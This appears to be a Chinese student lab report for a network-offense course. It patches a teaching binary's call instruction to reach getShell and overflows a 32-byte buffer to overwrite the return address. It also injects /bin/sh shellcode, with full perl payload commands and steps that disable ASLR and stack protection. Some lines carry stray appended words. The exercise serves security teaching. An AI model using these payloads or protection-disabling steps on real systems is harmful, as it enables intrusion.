2017-2018-2 20155314《网络对抗技术》Exp1 PC平台逆向破解(5)M

时间 2019-12-05

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2017-2018-2 20155314《网络对抗技术》Exp1 PC平台逆向破解(5)M

实验要求

掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码（0.5分）html

掌握反汇编与十六进制编程器 (0.5分)linux

能正确修改机器指令改变程序执行流程（0.5分）git

能正确构造payload进行bof攻击（0.5分）shell

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实验内容

手工修改可执行文件，改变程序执行流程，直接跳转到getShell函数编程

利用foo函数的Bof漏洞，构造一个攻击输入字符串，覆盖返回地址，触发getShell函数vim

注入一个本身制做的shellcode并运行这段shellcodewindows

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预备知识

熟悉Linux基本操做

能看懂经常使用指令,如管道（|），输入、输出重定向（>）等

理解Bof的原理

能看得懂汇编、机器指令、EIP、指令地址

会使用gdb,vi

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实验步骤

0 准备工做：macOS下Parallels Desktop安装Kali Linux虚拟机及相关配置

记得必定要选Graphical install（图形界面安装）哦～
安装完成～
安装Parallels Tools：
安装32位运行库：用命令apt-get install lib32ncurses5

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1 逆向及Bof基础实践

1.1 实践目标

本次实践的对象是一个名为pwn1的linux可执行文件。

该程序正常执行流程是：main调用foo函数,foo函数会简单回显任何用户输入的字符串。

该程序同时包含另外一个代码片断，getShell，会返回一个可用Shell。正常状况下这个代码是不会被运行的。咱们实践的目标就是想办法运行这个代码片断。咱们将学习两种方法运行这个代码片断，而后学习如何注入运行任何Shellcode。

三个实践内容以下：

手工修改可执行文件，改变程序执行流程，直接跳转到getShell函数。

利用foo函数的Bof漏洞，构造一个攻击输入字符串，覆盖返回地址，触发getShell函数。

注入一个本身制做的shellcode并运行这段shellcode。

这几种思路，基本表明现实状况中的攻击目标:

运行本来不可访问的代码片断

强行修改程序执行流

以及注入运行任意代码

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1.2 基础知识

熟悉Linux基本操做

能看懂经常使用指令,如管道（|），输入、输出重定向（>）等。

理解Bof的原理。

能看得懂汇编、机器指令、EIP、指令地址。

会使用gdb,vi。

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2 直接修改程序机器指令，改变程序执行流程

知识要求：Call指令，EIP寄存器,指令跳转的偏移计算，补码，反汇编指令objdump，十六进制编辑工具

学习目标：理解可执行文件与机器指令

进阶：掌握ELF文件格式，掌握动态技术

下载目标文件pwn1,用objdump -d pwn1命令进行反汇编：
- 先看第12行，call 8048491 <foo>是汇编指令
  - 是说这条指令将调用位于地址8048491处的foo函数；
  - 其对应机器指令为e8 d7ffffff，e8即跳转之意
    - 原本正常流程，此时此刻EIP的值应该是下条指令的地址，即80484ba，但如一解释e8这条指令呢，CPU就会转而执行EIP + d7ffffff这个位置的指令。d7ffffff是补码,表示-41，41=0x29,80484ba +d7ffffff=80484ba-0x29正好是8048491这个值，
- main函数调用foo，对应机器指令为e8 d7ffffff，
  - 那咱们想让它调用getShell，只要修改d7ffffff为getShell-80484ba对应的补码就行
  - 用Windows计算器，直接47d-4ba就能获得补码，是c3ffffff
修改可执行文件，将其中的call指令的目标地址由d7ffffff变为c3ffffff：
1. vim pwn1
2. esc->:%!xxd 将显示模式切换为16进制模式：
3. /e8d7 查找要修改的内容
4. 找到后先后的内容和反汇编的对比下，确认是地方是正确的
5. 修改d7为c3
6. :%!xxd -r 转换16进制为原格式
7. :wq 存盘退出vim
8. 再用objdump -d pwn1命令反汇编看一下，call指令是否正确调用getShell：
9. ./pwn1运行改后的代码，会获得shell提示符#：

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3 经过构造输入参数，形成BOF攻击，改变程序执行流

知识要求：堆栈结构，返回地址
学习目标：理解攻击缓冲区的结果，掌握返回地址的获取
进阶：掌握ELF文件格式，掌握动态技术

3.1 反汇编，了解程序的基本功能

用objdump -d pwn1命令反汇编：
1. 咱们的目标是触发函数getShell
2. 该可执行文件正常运行是调用函数foo，这个函数有Buffer overflow漏洞
3. 函数foo中的mov(804849a)读入字符串，但系统只预留了32字节的缓冲区，超出部分会形成溢出，咱们的目标是覆盖返回地址
4. 函数main中的call调用函数foo，同时在堆栈上压上返回地址值:80484ae

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3.2 确认输入字符串哪几个字符会覆盖到返回地址

若是输入字符串1111111122222222333333334444444412345678，那 1234 那四个数最终会覆盖到堆栈上的返回地址，进而CPU会尝试运行这个位置的代码。那只要把这四个字符替换为getShell的内存地址，输入给pwn1，pwn1就会运行getShell

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3.3 确认用什么值来覆盖返回地址

getShell的内存地址，经过反汇编时能够看到，即0804847d

接下来要确认下字节序，简单说是输入11111111222222223333333344444444\x08\x04\x84\x7d,仍是输入11111111222222223333333344444444\x7d\x84\x04\x08

对比以前eip 0x34333231 0x34333231，正确应用输入 11111111222222223333333344444444\x7d\x84\x04\x08

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3.4 构造输入字符串

因为无法经过键盘输入\x7d\x84\x04\x08这样的16进制值，因此须要先生成包括这样字符串的一个文件。\x0a表示回车，若是没有的话，在程序运行时就须要手工按一下回车键。

关于Perl：
Perl是一门解释型语言，不须要预编译，能够在命令行上直接使用。
使用输出重定向“>”将perl生成的字符串存储到文件input中。

同时，可使用16进制查看指令xxd查看input文件的内容是否如预期。

而后将input的输入，经过管道符“|”，做为pwn1的输入。

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4 注入Shellcode并执行

4.1 准备一段Shellcode

shellcode就是一段机器指令（code）

一般这段机器指令的目的是为获取一个交互式的shell（像linux的shell或相似windows下的cmd.exe），

因此这段机器指令被称为shellcode。

在实际的应用中，凡是用来注入的机器指令段都通称为shellcode，像添加一个用户、运行一条指令。

最基本的shellcode的编写可参考学姐的文章Shellcode入门，写得很是之清楚详实。如下实践即便用该文章中生成的shellcode。以下：\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\
关于更多Shellcode的知识，请参考Shellcode基础。

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4.2 准备工做

注意：如下实践是在很是简单的一个预设条件下完成的：

关闭堆栈保护（gcc -fno-stack-protector）
关闭堆栈执行保护(execstack -s)
关闭地址随机化 (/proc/sys/kernel/randomize_va_space=0)
在x32环境下
在Linux实践环境

所以修改设置以下：

apt-get install execstack //安装execstack命令
execstack -s pwn1 //设置堆栈可执行
execstack -q pwn1 //查询文件的堆栈是否可执行
more /proc/sys/kernel/randomize_va_space //查询是否关闭地址随机化 
echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
more /proc/sys/kernel/randomize_va_space //查询是否关闭地址随机化

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4.3 构造要注入的payload

Linux下有两种基本构造攻击buf的方法：
- retaddr+nop+shellcode
- nop+shellcode+retaddr
由于retaddr在缓冲区的位置是固定的，shellcode要不在它前面，要不在它后面，简单说缓冲区小就把shellcode放后边，缓冲区大就把shellcode放前边
咱们这个buf足够大，够放这个shellcode了，但吸收老师的教训，这里选择结构nop+shellcode+retaddr
- nop一为是了填充，二是做为“着陆区/滑行区”
- 咱们猜的返回地址只要落在任何一个nop上，天然会滑到咱们的shellcode
使用命令perl -e 'print "A" x 32;print "\x04\x03\x02\x01\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode注入，其中前面32个A用来填满缓冲区buf，\x04\x03\x02\x01为预留的返回地址retaddr：
接下来肯定\x4\x3\x2\x1到底该填什么：
- 打开一个终端注入这段攻击buf：(cat input_shellcode;cat) | ./pwn1
- 再开另一个终端，用gdb来调试pwn1这个进程：
  1. 用ps -ef | grep pwn1命令找到pwn1的进程号是：9489：
  2. 用gdb、attach 9489命令启动gdb调试这个进程：
  3. 用disassemble foo命令反汇编，经过设置断点，来查看注入buf的内存地址：
  4. 用break *0x080484ae命令设置断点，输入c命令(continue)继续运行，同时在pwn1进程正在运行的终端敲回车，使其继续执行。再返回调试终端，使用info r esp命令查找地址：
  5. 用x/16x 0xffffd27c命令查看其存放内容，看到了0x01020304，就是返回地址的位置。根据咱们构造的input_shellcode可知，shellcode就在其后，因此地址应为0xffffd280：
  6. 接下来只须要将以前的\x4\x3\x2\x1改成这个地址便可，用命令perl -e 'print "A" x 32;print "\x80\xd2\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode：
  7. 再用(cat input_shellcode;cat) | ./pwn1命令次执行程序，攻击成功！以下图：

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实验中遇到的问题及解决过程

macOS下Parallels Desktop安装Parallels Tools失败

试了不少次，也盲目重启了不少次Kali（它提示让我重启的不怪我），不过用图形界面安装时每次到10%就会卡住而后提示失败:(

缘由分析

用Parallels Desktop安装Kali时，安装Parallels Tools能提高虚拟机的性能（如共享剪贴板等），但必须更新镜像，确保全部软件包的依赖都完整，不然会提示内核须要更新等问题。所以首先须要更新镜像!!!

解决方案

打开终端，用su命令切换到root（Kali用户默认root）
用vim打开source.list：vim /etc/apt/sources.list
编辑source.list，添加镜像源deb https://https.kali.org/kali kali-rolling main contrib non-free到文件中并保存退出
依次输入如下命令：
apt-get clean apt-get update apt-get upgrade -y apt-get dist-upgrade -y apt-get install dkms kpartx printer-driver-postscript-hp
重启Kali Linux虚拟机
在终端中输入命令：eject /dev/cdrom推出Parallel Tools安装工具
在Kali Linux虚拟机菜单栏选择：操做->安装 Parallel Tools
依次输入如下命令：
mkdir /media/pt mkdir /root/Desktop/pt mount /dev/cdrom /media/pt cp -r /media/pt/ /root/Desktop/pt cd /root/Desktop/pt/pt ./install
重启Kali Linux虚拟机，安装完成:)

能够看到此时已经能从主机直接拖文件进Kali虚拟机了（共享剪贴板）:)

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参考资料

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